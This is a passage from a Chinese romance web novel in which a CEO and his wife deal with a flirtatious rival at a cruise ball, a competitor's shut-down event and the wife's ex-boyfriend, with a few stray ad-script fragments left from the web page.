裴聿珩另一只手搭在额头,想停止残留的眩晕:“那不是正好,按照继承法,你会是我第一顺位继承人。到时候,整个鸿禧都是你的,你想做什么都可以。” 温今遥抬手想打他,高高举起,轻轻拍下:“到时候我就拿你的钱包养十个男大体育生!让你带一沓绿帽子!” 裴聿珩唇畔噙着笑:“可以,那让他们晚上警醒点吧,有时候唯物主义也不是那么好用的。” 温今遥声音还还带着哭腔:“裴聿珩……” 裴聿珩慢慢睁开眼,眼神终于恢复了清明:“嗯?” 温今遥抹掉眼泪,看着有点眼巴巴的:“你能不能先不要死啊?” 裴聿珩没忍住笑出声来:“这只是心理病症,一般不会死的。而且,什么叫‘先’不要死?” 温今遥口中打了个绊子,一句“我还没跟你过够呢”拐了个弯,出口便成了“你还没跟我……解释清楚呢。” “对,这是最重要的。”裴聿珩慢慢坐起来,压了压额角,声音仍然沉哑:“贺中是我爸老朋友了,我接手鸿禧之后,很多方向和想法跟我爸都不同,他大概是不满意我,所以连带着他这些兄弟也不认同。贺中是他们之中手段比较不堪的。” 裴聿珩想起贺中提起易湘年轻时险些被绑架的事,语气严肃起来:“所以我要提醒你,不要跟他有交集,最好根本别理,保护好自己,其他的事都不是你需要考虑的。” 温今遥想的却是其他事:“我就没有什么能帮你的吗?” 裴聿珩摇头:“不需要,只要你没事,一切就都还有回环的余地。” 胜败是兵家常事,人为了利益能做出什么来,他再清楚不过。其他的他都可以让,都无所谓,但如果今遥有事,他真的不能保证自己会做出什么事来。 可这一句温今遥没有听懂,她歪了歪头,问:“这话听起来……怎么好像我是鸿禧的公章一样?” “不止,”裴聿珩捏了捏她的脸,眉间的沉肃终于散去:“你可比公章贵重。” 温今遥摘下他的手握在掌心,感觉他的身体重新温暖起来,才又说:“嗯……还有啊……” “我跟付静萱私底下没有什么接触,昨天我在二楼等你,她不知道什么时候跟上来的,是我疏忽了。”裴聿珩在她问出口之前便主动解释:“所谓的‘利益共同体’,是之前她续约时,鸿禧跟她达成的合作意向:她下一步作品,鸿禧将全力支持,不限于投资、宣发、提供场地、地推,但这些,现在都不做数了。” 温今遥一愣:“这就不做数了吗?那会不会……对你有什么影响?” 裴聿珩笑着摸摸她的头顶:“能有什么影响?大不了就少赚点,还是夫人嫌我给的家用还不够?” “可是……”温今遥把自己和代言人摆在天平的两端稍微称了称,发现她坐着的那端恨不得翘上天,于是又心虚起来:“可是那是很多钱。” 裴聿珩拇指搓了搓她的手背,道:“钱跟你不在一个维度上,不能这么比。咱们约定过,婚姻存续期间对彼此忠诚,其余所有事,都应当为这个原则让路。”他目光柔和地落在温今遥焦灼的眼底:“这一点上,没有灰色地带。” 温今遥低头盯着他青筋盘覆的冷白手背,想,这倒是很有他的风格。 生意场上,商誉的确是第一位的,其余哪怕是利益都要为它让位。 所以不要自作多情了温今遥! “在想什么?”裴聿珩眼见着她眼睛乱转,不禁问。 “我在想……下次再见到贺中,我应该用哪个角度给他一个大逼斗。” 裴聿珩笑道:“这倒是我没想过的方法。” “可是,”温今遥问:“你为什么会得幽闭恐惧症?这种病的诱因是什么?” 她目光坦荡清澈,看不出任何明知故问的模样。 裴聿珩定定看了她一会儿,撇开眼神,答:“别人我不知道,我大概是遗传。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >她不记得了也好,他想,这样她就不必多想,也不必有那些犯不上的愧疚。 “为什么不早点告诉我?”温今遥不疑有他,质问道:“我问你卧室为什么不装窗帘,你还骗我说你怕黑。” 裴聿珩温声道:“不想在你面前暴露弱点,这不好理解吗?” 至于钓她过来一起睡这种无关紧要的目的,自然就不必说了。 温今遥低头盯着脚尖,声线发虚:“以后你都可以告诉我。” 裴聿珩望着她头顶的发旋,唇角稍稍勾了勾。 “刚刚医生来的时候呀……”她声音小小的,一副欲盖弥彰的模样:“问我你的病史,我都不知道,人家还笑话我呢,说怎么当老婆的,问个病史都不知道,还带你去那里。” “哦,”裴聿珩拉长声音:“我们今遥没面子了。” 温今遥头也不敢抬:“那倒也不是……总之,哪怕要做戏,也得做全套吧?” 她记得念书的时候有一次参加演讲比赛,她紧张得在车里不停嘀嘀咕咕背稿子,被裴聿珩听见,他像个小大人一样装深沉地教她:“你就假装自己的美国总统,下面坐着的人,都是来听你训话的,装着装着,你就不紧张了。” 这句话温今遥始终记着,假装,直到你真正成为你假装的样子。 它简直成了一个埋在时间长河里的伏笔,在多年后的今天,终于彻底在她身上兑现。 …… 两天半的行程马上就要迎来尾声,于是这天晚上,游轮上举办了一场社交舞会。 宴会厅中灯光暧昧缱绻,轻缓柔美的乐曲从室内管弦乐团的琴弦上流泻而出,流转在缀着露水的暗红玫瑰上。 舞池中众人个个眼波浮动,舞步荡漾,鲜妍面孔与昂贵华服相得益彰,剪水深情在一支曲子的时间中逸散,又在一曲终了时荡然无存。 裴聿珩端着一杯香槟,应对着上来寒暄祝酒的宾客。有人好奇问起他的新婚妻子,裴聿珩微笑着答:“她忙于工作,希望以后有机会。” 他将目光远远抛向舞池另一端与人交谈温今遥,后者似有所感似地回头一望,两人隔着攒动人海,精准捕捉到了对方寻找自己的眼神。 无人注意时,裴聿珩对着她遥遥举杯,换来她明艳粲然的一笑。 温今遥低头抿了一口澄黄酒液,暗自弯了弯眼睛,醉于他相隔人海却闪耀鲜活的心意。 “温小姐?”有人穿过人群向她而来,上下打量了她一番,不确定似地又问:“是温小姐吗?” 温今遥抬起头,见一张年轻男人轩昂的脸。 来人一头半长卷发,骨相分明,深目高鼻薄唇,是一副不用修饰就可以直接上镜的长相,任谁看了都印象深刻。早上温今遥到处找人搭讪散名片的时候就见过他,但权衡片刻,还是绕过了他。 ——看上去像个网红,一点也不像搞事业的。 温今遥放下酒杯,想问他怎么称呼,他却先欠着身对她伸出右手:“有这个荣幸请温小姐跳一支舞吗?” 她下意识转头去看裴聿珩,他侧对着她,身边站着沈靖舒,两人正跟一位外籍人士谈笑风生。 对面那只手耐心地等待着,温今遥收回视线,没再犹豫,右手搭上去:“好。” 被人带着滑进舞池,温今遥才想起来,她不会跳舞。 对面倒是很会带人,一只手轻轻扶着她的侧腰,另一只手任她紧张地握住,低头在她耳边轻声道:“没关系,不要紧张,我进你退,踩到我也没有关系。” 他低沉的音色顺着旋律起伏,一起灌进温若晴的耳朵,像一段摄人心魄的蛊惑。 温今遥注意力全然在不知道下一步在哪里的脚尖上,根本分不出余力去听其他,自然也有没有注意到裴聿珩什么时候结束了交谈,向她投来的微暗的眼神。 30. 第 30 章 一曲优雅圆融的华尔兹似乎被人为拉长,温今遥踉踉跄跄踩着节奏,竟也渐渐跟上了舞步。 感受到握在手里的葱白手指不再紧绷,对面的人眨眨眼,恰到好处地自我介绍:“我是詹宗泽。” 温今遥一分神,一脚踩在他脚背上,忙不迭道歉:“抱歉——” 詹宗泽爽朗一笑,眼神坦荡直白:“能被您这样美丽的小姐踩,是我的荣幸。一会儿下场之后,方不方便留个联系方式?” “请问您在哪里高就?”温今遥稍稍后退了一步,问:“咱们好像……没有聊过?” 他微微一笑:“本来我想借公司的名义跟你聊聊,不过现在我改变主意了。” 曲调在这个空档忽然加快,詹宗泽扶在她腰间的手稍一用力,两人距离被压缩得极近,几乎要鼻尖相碰:“我要追你。” 温今遥脚下一顿,错过一个节拍,被詹宗泽带着顺势一转,完成了一个旋转:“……我结婚了。” 詹宗泽偏头扫过她搭在自己肩上的葱白手指,上面空空荡荡:“这样的理由,我听过很多次,你猜,她们最后都怎样了?” 温今遥嘴角抽搐:“都被你杀了?” 詹宗泽忍俊不禁:“温小姐真有趣,我果然没有看错人。” 一曲未了,曲调却忽然平滑地变向了另一种风格,周围一对一对的舞伴纷纷分开,男女对面各站一排,随着欢快激荡的旋律,跟斜前方的异性执手,踩着激荡鼓点,轻快地转起圈。 温今遥不明所以,手腕被斜前方的老绅士轻轻一拉,也跟着没入了欢腾的海洋。 明快节奏十秒一次轮转,温今遥身上适才那种禁锢被完全释放,踏着欢乐的变奏曲,跟陌生舞伴相视而笑,一触即离,终于在第三个轮转时,转到了那个熟悉的怀抱里。 裴聿珩扶住她的肩,占有似地从后方箍住她的腰身,身形完全将她覆盖,从后面看去,只能看到他宽阔的背影。 音乐在此时从欢欣韵律的高点一跃而下,几乎没有停顿地,换成了一首慢节奏的蓝调。 周围舞伴不再轮换,而是纷纷依偎相拥,灯光也适时暗下来,舞池中影影绰绰,尽是缱绻低语的剪影。 温今遥陷在他安稳的怀中,世界重新充斥了他的气息,在一片昏昧绸缪中,让她生出了不该有的暧昧心思。她微微踮起脚,用牙齿在他嶙峋的喉结上轻轻一碰。 结局当然是被他在嘴唇上占尽了便宜,待她气息不稳,裴聿珩带着笑意附在她耳边:“跟别的男人跳舞,不用笑得那么甜。” 温今遥侧耳枕在他胸口,听他沉稳心跳轻轻敲着耳廓,也起了玩闹心思:“只许你有红颜知己、青梅竹马,就不许我有舞会艳遇?” “嗯,不许。”裴聿珩一反常态地没有哄着她,而是饶有兴味地微微低头,将嘴唇抵在她发顶:“你不心疼我会吃醋,也应该担心你的艳遇会不会有危险。” 温今遥吃吃地笑:“裴总好大的口气,接下来你是不是要找个地下室,把我锁起来?” 裴聿珩不着痕迹收紧了手臂,扣紧她纤细的腰:“地下室不至于,不过我确实想要金屋藏娇。” 温柔的蓝调旋律如水般漾开,吞没了这些缱绻低语,也同样吞没不着痕迹的剑拔弩张。 詹宗泽双臂虚虚环着沈靖舒的肩膀,两人身体随着轻缓节奏慢慢摇晃,他开口却悻悻的:“沈姐,你也来啦。” 沈靖舒懒懒“嗯”一声:“来给你收尸。” 詹宗泽动作一顿,讪笑道:“啊,怎么了这是?” “没什么。”沈靖舒打了个哈欠:“裴聿珩的老婆你都敢下手,你还想干什么?龙筋抽不抽?老虎毛拔不拔?” 詹宗泽彻底停下脚步,直接站在舞池中间:“啊?” “你那小破创业公司有鸿禧的投资吧?”沈靖舒拍拍他:“年前早点去他办公室下跪,兴许还有转机。” 詹宗泽愣了半天,追上转身离去的沈靖舒:“不至于吧,不知者不罪,再说我也没干什么啊……” “不知者不罪?”沈靖舒扭头对他意味深长地一笑:“在她身上,你想跟裴聿珩讲理?” 她两根手指挑松了詹宗泽的领带,如此缠绵悱恻的动作,他却感受不到一丝暧昧,只觉得脖颈蓦地一凉。 沈靖舒转头离开,轻飘飘给他留下一句话:“反正我不敢,你可以去试试。” …… 这天晚上,温今遥尝到了自己不懂拒绝的苦头。 她无数次在行将溃散的边缘,被裴聿珩的吻蓄意唤醒,精神卡在途中不上不下,身体却又轻又沉地坠入海底。 他手掌贴住她的侧脸,一遍一遍不停地探问:“今遥,你是我的,对吗?” “不是,”她咬紧牙关,倔强着不肯松口:“我不是……” “你是的,今遥。”他并不肯轻易放她化作光,而是几次三番地将她控制在一场暴雨的边境线,眼睁睁看她窒闷,看她淋漓,看她将落未落、双目蒸溟。 温今遥再无法坚持,汗水和泪水混做一潭:“求你……” “不用求我,”他亦被汗水浸透,汗珠翻过喉结,又蓄入颈窝:“如果你是我的,我会把一切都给你。” “是……裴聿珩,我是你的……” 那一瞬间,暴雨终于倾盆。 而他们相拥在滂沱雨中,各自得偿所求。 …… 可有的人,就没有这么幸运了。 游轮上的最后半天,所有人都在忙着拍照、收拾行李、跟新结识的人脉套近乎告别,只有詹宗泽一个人,看看四下无人注意,低眉顺眼摸上了顶层的套房。 吴桓尽职尽责守在门口:“詹先生,裴总交代了,他有要事有忙,请您先在这里稍后。” 詹宗泽恭顺地答应下来,跟吴桓一起站岗站了十分钟,才反应过来,裴聿珩一早就知道他要来? 这是摸准了他心虚,早就料到他要来负荆请罪,才让吴桓守着,给他来个贴脸下马威。 詹宗泽的额头渗出一层薄汗,硬挺着不敢擦,倒是吴桓十分贴心地递来纸巾:“詹先生热吗?” ……这话问的,十二月底的海上,甲板就在旁边,还热么,亏你问得出口。 心里这么腹诽,面上还得陪着笑:“还好,不热。” 一站就站到了中午时分,眼看船都要靠岸了,吴桓才从里面打开门:“詹先生,请进。” 詹宗泽一改平日里的风流浪荡,整了整衣领,吞咽一下,才跟着吴桓慢慢走进套房。 裴聿珩穿着一件白衬衫,领口处随意地敞开两颗纽扣,姿态松散地坐在书桌后,正低头看着一份文件,丝毫不像吴桓口中的“有要事”。 他清清嗓子:“裴总。” 裴聿珩头也没抬,含糊地“嗯”了一声,又沉默下来。 他表情分明未变,甚至没抬眼给自己一个眼神,詹宗泽却偏觉得空气稀薄,呼吸困难,在迫人的安静中僵直了数十秒,才又试探地开口:“裴总,我那边Q3的财报出来了,您看到了吗?” 詹宗泽手上的初创公司做得也算是风生水起,接受鸿禧注资之后更是如虎添翼,上个季度的财报尤其好看,这时候提这件事,他是打定主意,在裴聿珩眼里,一个成功的项目,总比一个已经到手的女人重要。 “嗯,”书桌后的男人依旧没有抬头,“跟我大学时期创业项目的成绩不相上下。” 詹宗泽:“……” 卯尽力气拿收益来讨好,想不到人家根本看不上眼。 想起裴聿珩名声在外的成绩,詹宗泽又换了个角度企图挽尊:“不敢当,我何德何能,能跟裴总相提并论。” 原本是一句无伤大雅的场面话,这时候却像是勾起了裴聿珩的兴趣。他抬头看着詹宗泽好不容易放松下来的脸,一双沉黑眸子在金色框镜后沉沉盯着他:“我倒觉得詹总从不肯在身份上委屈自己,连我夫人也入了詹总的眼,这么看来,我们也算是惺惺相惜了。” 詹宗泽简直像被雷劈了,想好的说辞一瞬间在脑海里烟消云散:“啊,不是,我……” 裴聿珩笑了笑,看着他如瀑的额汗,问:“紧张什么?” “裴总,昨天我真不知道温小姐是您夫人,真的,我要知道我连舞会都不会去参加的。”詹宗泽一张俊脸彻底变了色:“您得信我。” 裴聿珩抬抬唇角:“是么。” 詹宗泽险些跪下:“今年的利润我私人再让一成给您,走私账……” 裴聿珩撩了撩眼皮,瞥了他一眼,他立刻住嘴了。 那点钱,在裴聿珩面前,也确实拿不出手。 詹宗泽到底激灵,舔了舔嘴唇,道:“我创业之前呆的那家公司,在业界也算有名,我跟他们关系都很不错,需不需要我撮合一下,让威禾去对接一下?” 裴聿珩终于坐直了身体,目光重回温润:“那就麻烦詹总。”临了不忘补一句:“如果方便,直接联系威禾的老板会更好。” ……< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>游轮上的两天半仿若世外桃源的一个梦,下了船,一切都从上船时重新接续,而温今遥手上半夏的跨年活动,终于到了最后也最关键的时刻。 一个完整的节庆活动要从花里胡哨的PPT上落地到真实世界,需要错综复杂的环节和环环相扣的设计,尤其温今遥这种从一开始就参与设计和规划,看着一场盛典从无到有,最后时刻要操的心绝对不是一星半点。 从提前三天预热开始,联系KOL、落实场地布置、从电音湿身派对到无人机灯光秀、再到市集布置、零点倒数和烟火盛典,每一个环节她都恨不得亲力亲为,忙得连口水都没时间喝。 裴聿珩特地让吴桓给整个项目组备好一日三餐,直接送到场地,方便他们一边工作沟通一边吃,策划A组纷纷表示涨了见识,第一次做项目做到甲方花钱开来一辆咖啡车,就停在门口,咖啡蛋糕随时待命,随取随用。 温今遥在某个茶歇忙里偷闲给裴聿珩发信息:感谢裴总的慷慨!我代威禾全体员工感谢您! 裴聿珩很快回复,带着一个憨态可掬的笑脸:感谢温小姐,让我体验了一回成功女人后盾的感觉。 就在她满心以为这次一定尽在掌握,一切肯定稳了的时候,出事了。 温今遥前男友秦杨,在偷了她的方案、正式接下鸿禧对手天韵的跨年策划后,安静了很长一段时间,现在临近活动,终于憋不住了。 天韵当然知道自己偷方案名声不好,但事情已经做了,想翻盘就一条路:把跨年活动做得漂亮,将舆论引向“方案是鸿禧的又怎么样,效果还不是不如别人?”,彻底压死鸿禧。 成王败寇,生意场上分盘子抢市场的时候,管不了那么多温良恭俭让。 于是压力给到策划这边,秦杨只等着这个机会一雪“靠女人吃软饭”的前耻,如果这种天崩开局能扳回一城,以后还怕少了荣华富贵? 他兵行险着,直接租了鸿禧对面的场子,虽然不在天韵大本营,但就是要有噱头、声量大,才有热闹可看。 温今遥从铺天盖地的工作消息和资料中抬起头来,隐约看到对面的大楼拉起遮盖已久的面板,天韵的logo缓缓露出来,立刻打电话给裴聿珩:“你仇家闻着味儿来了!” 裴聿珩似乎正在出席什么活动,听筒那边传来一阵急促脚步声,沉入一个安静的环境,他的声音急切传来:“是贺中?你怎么样?” 温今遥觉得好笑:“你以为你只有他一个仇家?天韵在咱们对面,也开始摆龙门阵啦!” 那边静默一瞬,好像轻轻松了口气:“好,我知道了。” 温今遥:“?你怎么根本不闹心的?” “没什么可闹心的,”裴聿珩声音听起来十分松弛:“还有三天,足够了。” 从挂掉电话那一刻起,温今遥就在等这个“足够了”什么时候才会发生。 可一直到第二天中午,都没见那边有什么动静,天韵如入无人之境,眼看就要万事俱备了,干得比他们还起劲。 正当于放和李玉都愁得坐立难安时,对面忽然传来一阵喧哗,声势大到足以让温今遥停下手里的活儿,挤进去看热闹。 透过里三层外三层的人群,她看见昔日还算温文尔雅的秦杨,满脸通红,额头上爆着青筋,梗着脖子拉住一位穿制服的执法人员,眼中似有泪光,大吼着问:“凭什么?我就问你凭什么?” 凭他们租的场地消防安全不过关,所以被相关部门勒令立刻停业整顿。 从围观者嘴里吃到完整的瓜的温今遥听得目瞪口呆。 她一直都在想,裴聿珩是不是要跟天韵去交涉,会不会先退一步,等跨年过了再在别的地方找回场子,那他是不是得吃亏了。 现在看来,完全是她多虑了。鸿禧根本不用亲自出手,直接釜底抽薪——天韵不是万事俱备了么,那就直接让这些“万事俱备”都成一场空,而且活动开幕在即,连备用的场地都来不及找。 看了一场真·塌房戏码的温今遥通体舒畅,之前的紧张和憋屈一扫而空,做起牛马来更起劲儿了。 当天忙完,已是深夜,温今遥踩着沉静夜色走出鸿禧时,身后缀上了一抹幽暗的影子。 一前一后重合的脚步声在暗夜中尤其刺耳,温今遥不由加快脚步,身后的人也同样加速跟上来。 温今遥短促的呼吸声敲打在自己的耳边,膝窝发软,正要鼓起勇气回头,一只冰凉的手忽然搭上了她的肩头。 “能聊聊么,前女友?” 31. 第 31 章 温今遥回过头,看见的是秦杨那张苍白里泛着青的脸,双眼无神,直勾勾地盯着她。 温今遥:“哦,是你啊,我还以为是鬼。” 温今遥:“把手拿开。” 温今遥:“相信我,这是为了你好。” 秦杨眼窝深陷,下唇抖着:“现在你满意了?” 不远处的夜色中传来一声拍上车门的声音。 温今遥:“哎呀,你好像完蛋了呢。” 秦杨精神恍惚,并没有注意到第三个人的到来,正要接着控诉温今遥不念旧情把他害到这种地步,就被一股大力拉着头发向反方向拖行起来。 他大叫一声,挣扎着去看揪住他头发的人,却怎么也转不过身去,只能伸长了手臂去拉温今遥:“救命……” 温今遥面露担忧:“别弄死了啊。” 裴聿珩抬起一双近乎疯狂的眼睛:“怎么,你心疼?” 温今遥一脸认真:“杀人犯法。” 拖行一直持续到一旁的背人小巷里,秦杨两条小腿被拖在地上,已经失去了挣扎的力气。他感到身体被狠狠掼在一片恶臭中,腰背连带着下半身一片冰凉,横流的污水被他所惊扰,平流缓进地渗进他的衣裤里。 温今遥好整以暇跟过来,俯下身子笑道:“刚刚你说错了,现在我才是满意了。” 秦杨稍一张嘴,腐烂的恶臭便争先恐后往他嘴里钻,激得他险些干呕起来。他定了半天神,冷笑一声:“连打手都有了,温今遥,你混得不赖。” 话音未落,他对面的高大男人一个提膝击上他的鼻骨,温热鼻血立刻飙出,秦杨大叫着捂着鼻子低下头,血腥味瞬间盖过了垃圾桶的恶臭。 温今遥:“……如果我是你,我现在就把自己毒哑,免得再多断几个地方。” 裴聿珩轻笑,声音温和:“你想让他断哪里?” 温今遥想了想:“看他表现吧。” 听到这个声音,秦杨顾不得自己鼻子的剧痛,失声大喊:“裴总?!” 裴聿珩抖开随身方巾,从容地擦拭手指,而后随手将方巾丢到秦杨身上。 昂贵的暗纹丝绸飘落在秦杨脏污一片的裤腿上,被他一把抓住。 裴聿珩声音轻飘飘在他头顶上响起:“好久不见。” 秦杨目眦欲裂,直到现在还是没有想明白,到底是哪里出了问题。 他早就跟裴聿珩见过,甚至先于他偷温今遥方案的时候。 那时他苦心孤诣,拿到了裴聿珩出行的时间,见缝插针地扒他的车窗,好让裴总听听自己的方案:他有信心,只要给他一个机会,他就能出人头地,得到鸿禧的青眼。 所以他顶着裴聿珩略微不耐的眼神,抓紧时间将自己的构想吹得天花乱坠,谁知裴聿珩安静地听完,只说了两个字:“不足。” 宾利的防窥车窗在他面前缓缓摇上,一同关闭的,是他孤注一掷通往成功的道路。 秦杨百思不得其解,直到他看见温今遥拿回来的威禾的那份方案。 那不是他的能力可以企及的,甚至连温今遥在一边的批注,都是他从来没有想过的角度。 在现实和幻想巨大的鸿沟间,他忽然意识到,凭他自己可能永远无法成功,但另一条路,不就明晃晃摆在面前吗? 世界上又不是只有鸿禧一家连锁酒店集团,也不是只有裴聿珩一个人能开出高价,一切便都顺理成章了。 可是他还有一件事想不明白。 “敲定场地之前我们分明找过管理公司,这里消防没问题,为什么、为什么——” 裴聿珩笑了笑,身形一矮,蹲在他面前:“你有没有查过,这家管理公司背后的老板,跟鸿禧是什么关系?” 秦杨瞬间哑声,脊背后陡然窜起一串冷汗—— 他是故意的,从一开始,鸿禧就没有对天韵避讳过活动地点,就那么刚好,在他们选定的地点对面,有一处这么合适的场地,可供他光明正大打擂台。 温今遥在一边听得叹为观止。 有些事情秦杨不知道,她可是一清二楚。 裴聿珩这是把她也算在里面,好让她亲眼看看他怎么兵不血刃就反败为胜,看看昔日让她真心错付的人用怎样惨烈的方式在最后一刻付出代价,跌进泥里爬都爬不起来。 这简直是裴聿珩独家限定的孔雀开屏。 温今遥一只手抚上裴聿珩的肩膀,笑得越发明艳:“你看你,刚刚扔了手帕做什么,一会儿还得脏了手呢。” 裴聿珩握住她的手慢慢站起来,唇边依然追着温柔笑意:“弄脏了手,夫人不让我进家门么?” “夫人”两个字成功让秦杨停下了难耐的呻吟,他瞬间瞪大眼睛:“你、你们……” 话没说完,他肩膀忽然一斜,整个人侧躺进淋漓恶臭的污水里,一只坚硬的男士皮鞋缓缓踩上他的侧脸,慢条斯理地重重碾转,似要将他碾进满地污秽里。 他听见男人凌厉低沉的声音:“你不用知道。” …… 回家的路上,温今遥坐在副驾,始终在轻声哼一支轻快的歌。 红灯的空档,裴聿珩笑着偏头过去看她:“心情这么好?” 温今遥理所当然点头:“那当然,狐假虎威的感觉天下第一好。”她上半身向驾驶座探过去:“他还说你是打手,你说好不好笑?” 裴聿珩伸手握住她的手指,轻轻捏了捏:“我可以是。” 温今遥瞪大眼睛:“前几天要进屋藏娇,今天要当打手,你现在真是什么话都敢往外说啊。” 裴聿珩将她的手背放到唇边轻轻一啄,停了停,才问:“你跟他在一起的时候,他也是那样的么?” 温今遥收了唇边笑意,问:“哪样的?” 这人的占有欲她可是见识过,舞会上那还是个来搭讪的男的,这位可是货真价实的前男友,一个答不好,鬼知道他又要做出什么事来。 裴聿珩想起被秦杨拦车的场面,又皱起眉:“肆意侵犯别人边界、公私不分、没有礼貌,总之,不是多体面。” 温今遥起先还不懂,他为什么会对秦杨有这么私人的评价,但稍稍联系一下原先秦杨跟自己炫耀过的事,她就明白了——如何跟保安套话,知道裴聿珩几点出门,怎么逼停裴总的车,如何锲而不舍让他听完要说的话,如何信心满满地向裴总推销他的方案。 “差一点就成功了,”秦杨当时这样惋惜道:“你说我是不是应该等他哪天心情好了,再去试一次?” 她当时是怎么回应的呢? 温今遥记得很清楚,当时她说:“你去拦车不行的,要是司机一脚油门走了,你怎么办?下次你应该等他尿急的时候,堵在厕所门口,不松口就不让他进。” 那时候她带着对裴家的旧恨、带着对裴聿珩的陌生和意难平,这样掷地有声地回应秦杨。 这办法并不是她瞎编的,她刚刚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 进威禾的时候,成绩挂零,根基全无,就是靠这种不入流的办法,拿到了她第一个大展拳脚的机会。 秦杨那些手段都不算什么,真正上不了台面、没有礼貌的,是她。 可厚颜无耻,是她当时唯一的武器,要体面,就交不上下个月的房租,她总不能为了一时的脸面,去心甘情愿睡大街。 此时此刻,她已经是裴太太,名正言顺拥有鸿禧一半的资产,但坐在宾利的副驾,她依旧觉得无地自容。 并不是心疼秦杨,而是无法面对曾经那样豁出脸面的自己。 所以面对裴聿珩的问题,温今遥张了张嘴,想要辩解,最后却只是说:“是呀,一直都是那样的。” 后面的路程,温今遥没有再哼歌了,只是望着窗外的粘稠夜色,像是在出神。 裴聿珩几次转头看她,都没有捉到她的眼睛。 直到临睡前,裴聿珩望着她蜷缩得小小的身体,贴着床边,看着一不留神就要掉下去似的,才终于忍不住问她:“后来你好像一直情绪不高,是我不该问么?” 温今遥没有动,也没有出声。 裴聿珩轻叹一声,跟她道了晚安,她却一下子拍灭床头灯,蒙着头滚进裴聿珩的怀里。 “我有点难过,”她声音堵在他胸口,闷闷的:“但是我没脸说。” 裴聿珩拥着她,稍微掀开被子给她透气:“那我不出声,你就当说给皮卡丘听,好么?” 温今遥笑开了:“哪有你这样的……” 但她真的沉下心,强忍着受挫的自尊,一五一十地告诉他,那个时候她是怎么回了秦杨的话。 包括刚毕业的时候她怎么靠着不要脸地吹牛进了威禾,之后怎么用不太光彩的手段打听客户的私事以求关键时刻卖个人情,后来又是怎么学会了讲黄段子,以便在男的说完一个之后,不动声色地讲一个更黄的来反击他。 这些不够体面,她都知道,可当时的她两手空空,就是用这些一层叠着一层的不体面,一步一步为自己创造了一个还算可以的生活。 满心酸涩地听到最后,裴聿珩这辈子第一次觉得,自己真是蠢得无可救药。 明知道之前她过得辛苦,为什么还要去指摘跟她一起生活的人,在船上看雪时她就说过,那个人是个搭伙过日子的,既然是搭伙,那她的境遇和能用的方法,又能比秦杨好上多少呢。 她没有成为秦杨那种人,是因为她更正直更善良,而不是因为她比别人更有资本,可以不去走那条歧途。 说到最后,温今遥反而坦然了,甚至咯咯笑起来:“哎呀,现在想起来真是好尴尬,不过那时候倒也不觉得。” 裴聿珩深深出了口气。 不觉得难堪,大概是她已经经历过足够多难堪的事,才觉得后来面对的一切都是小意思。 “所以呀,”温今遥好像放下了一个很大的负担,终于要入睡了,声音也开始迷糊:“所以下一次再遇到这样的人,你就给他一个机会,可以吗?” 她的声音越来越小,越来越低,说不好是来自她的梦境,还是几年前的过去:“你不喜欢,可以不要采纳,但是给我一个说下去的机会,好么?” 明知道她已经入睡,或许听不见他的答案,裴聿珩还是认真又郑重地回答:“好,无论什么时候,无论你说什么,我都会认认真真、一字不落地听完的。” 一个吻轻轻落在她微微皱着的眉间:“晚安。” 32. 第 32 章 一夜闹剧终于过去,牵扯了温今遥近半年时间的跨年活动,终于如期举行。 暮色四合时,派对动物终于在频闪的荧光灯和直击心房的坚实节奏中醒来,蜕去冰雪人间厚厚的铠甲,在鸿禧地标酒店的最高层,用尖叫和酒精炙烤室内的沸腾,蓝莹灯光将巨大泳池中打造成一座新的地下城池,让所有人温暖无虞地跃入狂欢的地平线。 温今遥守在现场,身上带着无线电耳麦,沉在不起眼的角落中,与半年来并肩作战的所有同事一起,抽离但敏锐地观察着一切。 气氛不停被推向潮热喷发的边缘,会场空中不时有巨大通透的鲸影游过,人群不知疲倦般地嚎叫嘶鸣,音乐即止,疯狂的水枪大战正式打响第一枪。 耳机中传来一阵刺啦电流的呼叫:“晴天娃娃,晴天娃娃有人找。” 被旁边狂欢人群的水枪误伤的温今遥:“……我真服了,谁叫我网名谁就是我的一生之敌!” 耳机里的同事也很委屈:“是鸿禧宣传那边的人叫的,让你去楼顶的钟楼,说有事找。” 温今遥不明所以,只能抛下热闹的场子,转身上了楼顶。 踏进钟楼的那一刻,她就明白了。 夜空被霓虹映成紫红,霞蔚一般的光穿过巨大的镂空表盘,从黑暗中勾出裴聿珩颀长挺拔的背影。 他站在钟表前,透过时间一分一秒的流逝,俯瞰着跨年夜中车水马龙的热闹人间。 温今遥在原地,盯着他的背影盯了好几秒,想,他看上去…… 好孤独。 即便手握旁人不可触及的权柄,他依然会在这样欢腾庆贺的时刻,独自一人,避开令他无措的茫茫世界。 她关掉无线电,迈步向他走去:“怎么了裴总,有什么指示?” 声音似是触动了什么开关,镂空表盘旁忽然亮起璀璨温柔的灯光,巨大的香槟色荆棘玫瑰墙盘踞环绕在镂空时刻旁,好似一出时间童话。 那人在一片诗意粲然中转身,微笑着向她伸出手:“你来了,到这里来。” 说不好瑰丽的香气和他温存的眼神哪个更让她晕眩,温今遥顿了顿,转身将喧嚣关在门外,再度走向他为她编织出的庞然梦境。 “裴总好有情趣,”温今遥调笑着,牵住他的手:“工作时间,老板这是在带头摸鱼?” 裴聿珩笑着揽住她:“我想,我给员工们开的三倍工资,应该足够支撑他们为老板摸鱼兜底。” 温今遥咋舌道:“哎呀呀,鸿禧真是大手笔,资本家跟我们打工人的心态就是不同呢。” 停在她肩侧的手指在她这句无心之语中蓦地僵了僵,裴聿珩垂眸看她:“昨天的事……我很抱歉。” 温今遥一时没想起,问:“什么事?” “我出言不逊,不了解你的过往就对他随意下论断,没有体谅到你当时的难处,”他带着歉意,低头轻吻她柔软的发顶:“是我狂妄自大,抱歉。” “哦,嗐,”温今遥冲他大方一笑:“我以为你背着我做什么了……没关系呀,那些手段,也确实不怎么光彩。” 她也将视线抛向鲜红尾灯此起彼伏亮起的街道,声音里带着一点释然:“如果我是你,我肯定也会觉得被冒犯、觉得不舒服,现在的我如果看到有人拦你的车,把你堵在餐厅你不让你走,或许我也会生气。” 温今遥轻轻笑了下,偏头看身边静默倾听的男人:“不过如果你是打工人,应该会想到更好更体面的方法吧?” 裴聿珩真的默然地想了一阵,道:“不会,我想我会比你们,比你能想象到的所有手段,都更无耻。” 